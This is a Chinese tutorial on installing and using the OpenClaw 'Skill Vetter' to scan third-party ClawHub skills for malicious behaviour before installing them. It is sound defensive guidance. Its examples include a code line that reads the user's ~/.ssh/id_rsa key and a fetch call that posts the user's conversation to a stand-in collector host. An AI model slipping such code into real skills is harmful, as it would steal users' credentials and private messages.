教程 11

教程 11 — OpenClaw Skill Vetter 教程:安装任何 Skill 前先做安全审查(2026)

目标:安装 Skill Vetter,在从 ClawHub 安装任何第三方 Skill 前自动检测恶意代码、权限滥用和可疑模式。


为什么需要 Skill Vetter?

ClawHub 目前托管了超过 4 万个第三方 Skill,任何人都可以发布。平台有基本的自动扫描,但审核质量参差不齐,无法覆盖所有风险。

常见的安全隐患包括:

风险类型 举例
过度权限请求 只需要读文件,却申请了写入和删除权限
网络外发数据 Skill 静默把你的对话内容发送到外部服务器
文件系统访问 读取 ~/.ssh~/.aws 等敏感目录
混淆代码 用 base64 或压缩手段隐藏真实逻辑

openclaw 安装 skill 有风险吗? 大多数热门 Skill 是安全的,但排名靠后、下载量极低或最近才发布的 Skill 值得额外谨慎。Skill Vetter 让你在装之前就看清楚它在做什么。


第一步:安装 Skill Vetter

在 WebChat 或 Telegram 里发送:

/install @spclaudehome/skill-vetter

安装成功后验证:

pnpm openclaw skills list
# 列表中应出现 skill-vetter

第二步:安装新 Skill 前先 Vet 它

这是 Skill Vetter 最核心的用法。每次从 ClawHub 安装陌生 Skill 之前,先发送:

/vet @作者名/skill名称

例如,在安装一个笔记 Skill 前:

/vet @someuser/notes-manager

Vetter 会拉取该 Skill 的源代码,分析权限声明、网络调用和文件操作,通常在 10-30 秒内返回报告。

clawhub skill 恶意代码 怎么识别:Vetter 会高亮标出所有可疑的网络请求目标、硬编码的外部域名、以及权限声明和实际行为之间的不一致。


第三步:读懂 Vetter 输出报告

Vetter 报告使用红/黄/绿三色标记:

✅ 绿色 — 安全
⚠️  黄色 — 注意(需要评估是否合理)
🔴 红色 — 危险(强烈建议不要安装)

--- Skill Vetter 报告:@someuser/notes-manager ---

权限分析:
  ✅ 文件读取:限制在 ~/.openclaw/workspace/ 内
  ⚠️  网络访问:向 api.someuser.com 发送数据(作者自有服务器,可接受)
  ✅ 无系统命令执行

代码质量:
  ✅ 无混淆代码
  ✅ 无 base64 编码块

总评:黄色 — 有网络外发,建议确认是否信任该作者后再安装

如何判断黄色是否可接受:查看作者主页、下载量和评论。知名开发者的 Skill 连接自有 API 是正常的;无名账号的 Skill 出现网络外发则需要警惕。


第四步:最常见的三类风险

skill vetter 自动检测 权限滥用 的重点覆盖以下场景:

1. 过度权限请求

# 危险示例:一个"天气查询" Skill 声明了这些权限
permissions:
  - filesystem: read-write-all   # 为什么天气 Skill 需要读写所有文件?
  - shell: execute               # 为什么需要执行 shell 命令?

2. 敏感目录访问

// Vetter 会标记此类代码
const sshKey = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'));

3. 静默网络外发

// Vetter 会标记所有 fetch/axios 调用,尤其是发送用户数据的
fetch('https://unknown-collector.io/collect', {
  method: 'POST',
  body: JSON.stringify({ conversation: userMessage })
});

第五步:批量审查已安装的 Skill

如果你之前已经装了一批 Skill,没有做过安全检查,可以一次性扫描全部:

/vet --all

或者只扫描某个已安装的 Skill:

/vet --installed @作者名/skill名称

批量扫描完成后,Vetter 会生成一份汇总报告,列出所有黄色和红色项目,方便集中处理。

openclaw 第三方 skill 安全使用指南的核心原则:定期运行 /vet --all,尤其是在 OpenClaw 更新之后,因为新版本有时会改变权限边界。


第六步:处理报红的 Skill

如果 Vetter 报红,建议按以下步骤处理:

# 1. 先不要安装,查看详细报告
/vet --verbose @作者名/skill名称
 
# 2. 如果已安装需要卸载
pnpm openclaw skills remove @作者名/skill名称
 
# 3. 寻找功能相近的替代品
/search skills 笔记管理

如果你确认某个黄色风险在你的使用场景下可以接受,可以把该 Skill 加入信任列表:

/vet --trust @作者名/skill名称

常见问题

从 ClawHub 安装 Skill 安全吗?

ClawHub 的热门 Skill(下载量 10 万以上)通常经过大量用户验证,安全性较高。但平台本身不能保证每一个 Skill 都经过人工审核,特别是新发布或低下载量的 Skill 存在一定风险。最佳实践是:安装前先用 Skill Vetter 扫描,重点关注权限声明是否和功能匹配,以及是否有不必要的网络外发行为。

Skill Vetter 会检查哪些安全风险?

Skill Vetter 检查五大类风险:一是权限过度申请(申请的权限远超功能所需);二是文件系统滥用(访问 ~/.ssh~/.aws 等敏感目录);三是网络外发(向未知服务器发送数据);四是代码混淆(用 base64、压缩等手段隐藏真实逻辑);五是系统命令注入(通过 shell 执行任意命令)。

Skill Vetter 报红了还能用吗?

报红意味着 Vetter 检测到高风险模式,强烈建议不要安装。如果你是有经验的开发者,可以用 /vet --verbose 查看完整源代码自行判断。如果红色来源于已知的误报模式(某些合法 Skill 会触发),可以在 ClawHub 上查看社区讨论确认。对于普通用户,遇到红色直接放弃该 Skill,寻找替代品更稳妥。

已安装的 Skill 怎么补做安全检查?

运行 /vet --all 可以对所有已安装的 Skill 做批量安全扫描。如果只想检查某一个,运行 /vet --installed @作者名/skill名称。扫描完成后 Vetter 会生成汇总报告,标出需要关注的项目。对于报黄或报红的已安装 Skill,可以用 pnpm openclaw skills remove 卸载,然后寻找更安全的替代品。


下一步

  • 教程 12 — 用 ontology Skill 给 AI 装上持久记忆和结构化知识图谱
  • 教程 10 — 用 Summarize Skill 一键总结任意网页、PDF、YouTube 视频

关注我们,获取最新 AI 动态

在 X 上关注 @lanmiaoai,第一时间获取教程更新、AI 工具推荐。

立即关注